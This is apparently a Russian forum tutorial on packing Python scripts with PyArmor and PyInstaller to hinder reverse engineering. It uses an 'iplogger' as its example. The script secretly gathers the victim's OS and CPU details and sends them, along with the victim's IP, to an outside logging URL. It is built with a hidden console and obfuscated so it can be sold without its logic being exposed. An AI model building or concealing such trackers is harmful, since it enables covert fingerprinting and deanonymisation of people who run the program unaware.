Думаю многие знают, что Python для разного приват софта очень плох, т.к. получить исходник из собранного pyinstaller'ом .exe файла очень легко. Но можно защитить скрипт так, чтобы человек не знающий дебаггеров, и вообще мало понимающий в реверс инженеринге, не смог сделать с вашим софтом ничего. Разберем на примере простейшего iplogger'a. import requests import os import platform import subprocess windows = platform.uname() windows = windows[0]+' '+windows[2]+' '+windows[1] cpu = subprocess.check_output(["wmic","cpu","get", "name"], creationflags=0x08000000).decode('utf-8') cpu = cpu.replace('\r', '').replace('Name', '').strip() requests.get('https://iplis.ru/1w5pu7', headers={'User-Agent':windows+' '+cpu}) Код import requests import os import platform import subprocess windows = platform.uname() windows = windows[0]+' '+windows[2]+' '+windows[1] cpu = subprocess.check_output(["wmic","cpu","get", "name"], creationflags=0x08000000).decode('utf-8') cpu = cpu.replace('\r', '').replace('Name', '').strip() requests.get('https://iplis.ru/1w5pu7', headers={'User-Agent':windows+' '+cpu}) Теперь установим нужные библиотеки. pip install pyarmor pip install PyInstaller Код pip install pyarmor pip install PyInstaller В консоли переходим в папку проекта или где находиться главный файл. Теперь сам процесс защиты. В консоли прописываем. pyarmor pack -e " здесь аргументы от pyinstaller'a" api.py Код pyarmor pack -e " здесь аргументы от pyinstaller'a" api.py Как пример команда с такими аргументами как --onefile --noconsole --icon=NONE Соберет все доп файлы в один exe-шник, при запуске консоли не будет и установится стандартная windows иконка. После этого можно продавать свою программу, т.к. шанс взлома и слива исходников уменьшился на ~95% Вот что будет, если попробовать разобрать программу. А вот что было бы без защиты